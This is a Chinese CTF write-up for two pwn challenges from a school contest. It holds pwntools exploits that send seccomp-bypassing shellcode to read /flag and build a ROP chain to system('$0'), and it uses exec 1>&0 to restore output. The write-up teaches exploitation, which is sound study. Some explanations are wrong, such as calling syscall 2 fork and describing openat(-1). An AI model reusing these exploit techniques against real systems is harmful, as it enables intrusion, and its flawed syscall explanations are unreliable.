山东大学&安恒校赛CTF
1.babyshell


这段代码是一个函数seccom,它使用seccomp机制来限制进程的系统调用权限。seccomp是一种Linux内核的安全模块,可以用于过滤或限制进程可以执行的系统调用。
具体来说,这段代码中的函数执行了以下操作:
定义了一个局部变量
v1,并将seccomp_init函数的返回值赋给v1。seccomp_init用于初始化seccomp模块,并返回一个句柄(handle)用于后续的操作。使用
seccomp_rule_add函数多次调用,向v1指定的seccomp句柄添加规则。每次调用都会添加一条规则,用于限制特定的系统调用。规则的参数包括:- 第一个参数是
v1,即seccomp句柄。 - 第二个参数是
0LL,表示规则适用于所有进程。 - 第三个参数是特定的系统调用号,如
2LL表示fork系统调用。 - 第四个参数是附加的标志参数,这里都是
0LL,表示没有额外的标志。
这些规则限制了进程可以执行的系统调用,包括
fork(系统调用号2)、execve(系统调用号59)、setuid(系统调用号122)、setgid(系统调用号123)、setgroups(系统调用号124)等。- 第一个参数是
最后,使用
seccomp_load函数加载v1指定的seccomp规则集。
总体来说,这段代码通过seccomp机制限制了进程可以执行的系统调用,增强了进程的安全性。限制系统调用能够有效地减小进程的攻击面,降低潜在的风险。
exp如下:
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
r = remote("tcp.cloud.dasctf.com", 29565)
shellcode=''
shellcode += shellcraft.openat(-1,'/flag')
shellcode += shellcraft.read(3,'rsp',0x40)
shellcode += shellcraft.write(1,'rsp',0x40) #从rsp开始读取0x40个字节
r.sendline(asm(shellcode))
r.interactive()
read和write的第一个参数是文件描述符
文件描述符是一个非负整数,用于标识操作系统中打开的文件或输入/输出设备。在大多数操作系统中,包括Linux和Unix,文件描述符是对文件或设备的引用或索引。
在Unix-like操作系统中,有三个标准的文件描述符:
- 文件描述符0(通常称为stdin)表示标准输入,用于接收程序的输入。
- 文件描述符1(通常称为stdout)表示标准输出,用于输出程序的结果。
- 文件描述符2(通常称为stderr)表示标准错误输出,用于输出程序的错误消息。
除了这些标准文件描述符,程序可以通过打开文件或设备来获取其他文件描述符。每个打开的文件都会被操作系统分配一个唯一的文件描述符。
在使用文件相关的系统调用或库函数时,文件描述符用于标识要读取或写入的文件。通过操作文件描述符,程序可以对文件进行读取、写入、关闭等操作。
在上述代码中,文件描述符3用于表示通过openat函数打开的文件。通过将文件描述符传递给read和write函数,可以对该文件进行读取和写入操作。
对于openat函数,第一个参数表示要打开文件的目录文件描述符。它指定了相对于该目录的路径名。
openat函数是一种相对于指定目录打开文件的变体。相对于传统的open函数,它允许你使用目录文件描述符和相对路径名来打开文件,而不是使用当前工作目录和绝对路径。
具体来说,openat函数的第一个参数可以是以下几种情况之一:
- 使用文件描述符(整数值):这是最常见的情况,你可以使用先前打开的目录文件描述符作为第一个参数,来指定要打开文件的目录。
- 使用特殊的宏常量:
AT_FDCWD:表示当前工作目录的文件描述符。AT_EMPTY_PATH:表示在不指定文件名的情况下,只打开目录本身。
在上述代码中,openat(-1, '/flag')使用了文件描述符-1作为第一个参数,表示在当前工作目录中打开名为"/flag"的文件。请注意,这里的-1是一个特殊值,它表示使用当前工作目录作为目录文件描述符。
总之,openat函数的第一个参数用于指定要打开文件的目录文件描述符,可以是一个具体的文件描述符、特殊的宏常量或相应的整数值。
当使用汇编语言编写shellcode时,rsp寄存器通常用于指向栈顶。在这种情况下,使用rsp作为缓冲区地址可以方便地在栈上存储或读取数据。

2.mercedes

main函数如下:

check函数如下:

可以发现,禁用了cat bin / sh 等字符
本题的关键是system($0)相当于system(/bin/sh)
又由于check函数return了close(1),意思是关闭了标准输出
可以通过执行exec 1>&0将标准输入重定向到标准输出
后门函数如下:

由于为64bit的程序,可以构造ROP链
exp如下:
from pwn import *
r = remote("tcp.cloud.dasctf.com", 28849)
r.sendline(b"$0")
pop_rdi = 0x400983
offset = 0x20+8
sys = 0x0400717
payload = b'a'*offset+p64(pop_rdi)+p64(0x601090)+p64(sys)
r.sendline(payload)
r.interactive()

即可得到flag
山东大学&安恒校赛CTF的更多相关文章
- 2016 华南师大ACM校赛 SCNUCPC 非官方题解
我要举报本次校赛出题人的消极出题!!! 官方题解请戳:http://3.scnuacm2015.sinaapp.com/?p=89(其实就是一堆代码没有题解) A. 树链剖分数据结构板题 题目大意:我 ...
- SCNU省选校赛第二场B题题解
今晚的校赛又告一段落啦,终于"开斋"了! AC了两题,还算是满意的,英语还是硬伤. 来看题目吧! B. Array time limit per test 2 seconds me ...
- 2014上半年acm总结(1)(入门+校赛)
大一下学期才开始了acm,不得不说有一点迟,但是acm确实使我的生活充实了很多,,不至于像以前一样经常没事干= = 上学期的颓废使我的c语言学的渣的一笔..靠考前突击才基本掌握了语法 寒假突然醒悟, ...
- 2017CUIT校赛-线上赛
2017Pwnhub杯-CUIT校赛 这是CUIT第十三届校赛啦,也是我参加的第一次校赛. 在被虐到崩溃的过程中也学到了一些东西. 这次比赛是从5.27早上十点打到5.28晚上十点,共36小时,中间睡 ...
- HZNU第十二届校赛赛后补题
愉快的校赛翻皮水! 题解 A 温暖的签到,注意用gets #include <map> #include <set> #include <ctime> #inclu ...
- 校赛F
问题描述 例如对于数列[1 2 3 4 5 6],排序后变为[6 1 5 2 4 3].换句话说,对于一个有序递增的序列a1, a2, a3, ……, an,排序后为an, a1, an-1, a2, ...
- PKU2018校赛 H题 Safe Upper Bound
http://poj.openjudge.cn/practice/C18H 题目 算平均数用到公式\[\bar{x}=\frac{x_1+x_2+x_3+\cdots+x_n}{n}\] 但如果用in ...
- 【魔改】hdu6325 多校赛3G xy排序凸包+llvector模板
凸包算法前的预处理,可以极角排序,也可以按X,Y轴排序, 极角排序需要找到角落里的一个点,Xy轴排序要跑两遍凸包 而本题的要求只要一个上半凸包,并且有X轴从小到大以及字典序限制,完全符合xy排序,直接 ...
- 牛客网多校赛第9场 E-Music Game【概率期望】【逆元】
链接:https://www.nowcoder.com/acm/contest/147/E 来源:牛客网 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 262144K,其他语言524 ...
- BZOJ 3093: [Fdu校赛2012] A Famous Game
3093: [Fdu校赛2012] A Famous Game Time Limit: 1 Sec Memory Limit: 128 MBSubmit: 242 Solved: 129[Subm ...
随机推荐
- Taurus .Net Core 微服务开源框架:Admin 插件【2】 - 系统环境信息管理
前言: 继上篇:Taurus .Net Core 微服务开源框架:Admin 插件[1] - 微服务节点管理 本篇继续介绍下一个内容: 1.系统环境信息节点 - OS-Environment 界面 基 ...
- 聊聊JVM虚方法表和方法调用
作者:小牛呼噜噜 | https://xiaoniuhululu.com 计算机内功.源码解析.科技故事.项目实战.面试八股等更多硬核文章,首发于公众号「小牛呼噜噜」 大家好,我是呼噜噜,好久没更新文 ...
- 2023-07-05:爱丽丝和鲍勃继续他们的石子游戏 许多堆石子 排成一行,每堆都有正整数颗石子 piles[i] 游戏以谁手中的石子最多来决出胜负。 爱丽丝和鲍勃轮流进行,爱丽丝先开始。最初,
2023-07-05:爱丽丝和鲍勃继续他们的石子游戏 许多堆石子 排成一行,每堆都有正整数颗石子 piles[i] 游戏以谁手中的石子最多来决出胜负. 爱丽丝和鲍勃轮流进行,爱丽丝先开始.最初,M = ...
- Unity中的PostProcessBuild:深入解析与实用案例
Unity中的PostProcessBuild:深入解析与实用案例 在Unity游戏开发中,我们经常需要在构建完成后对生成的应用程序进行一些额外的处理.这时,我们可以使用Unity提供的PostPro ...
- github上传文件报错failed to push some refs解决
报错内容,不能推送文件到github上 error: failed to push some refs to github地址 原因是github项目与本地文件夹一些关键文件的确实,比如.git,re ...
- C语言基础--字符串
文章目录 前言 一.数组 1.一维数组的创建 2.数组的索引 3.数组的调用 3.1 单个输出 3.2多个输出 二.字符串的创建 1.字符串的创建 2.字符串的输出 三.总结 前言 C语言中,有整型. ...
- pe文件对齐
PE中规定了三类对齐:数据在内存中的对齐. 数据在文件中的对齐.资源文件资源数据的对齐. 1.内存对齐 由于windows操作系统对内存属性的设置以也为单位,所以通常情况下,节在内存中的对齐单位必须至 ...
- 与AI对话 -- 20230221 -- linux 性能分析相关的软件包
linux 性能分析相关的软件包有哪些,各自包含了哪些命令 sysstat:sysstat 包含了丰富的监控系统性能的工具,例如 sar(系统性能分析器).iostat(设备 IO 状态分析器).mp ...
- Linux基础—vmvare安装及centos7安装
Linux基础 # https://zhuanlan.zhihu.com/p/429509333 # 一 什么是操作系统 Operating System(操作系统) 简称OS Windows,Mac ...
- C# 处理 csv 文件中的双引号
C# CSV 双引号处理 直接上代码,自己写的,有问题可以随时联系 // 没有保证所有的都能对上,目前只处理了自己所遇见的格式 public static string[] SplitStr(stri ...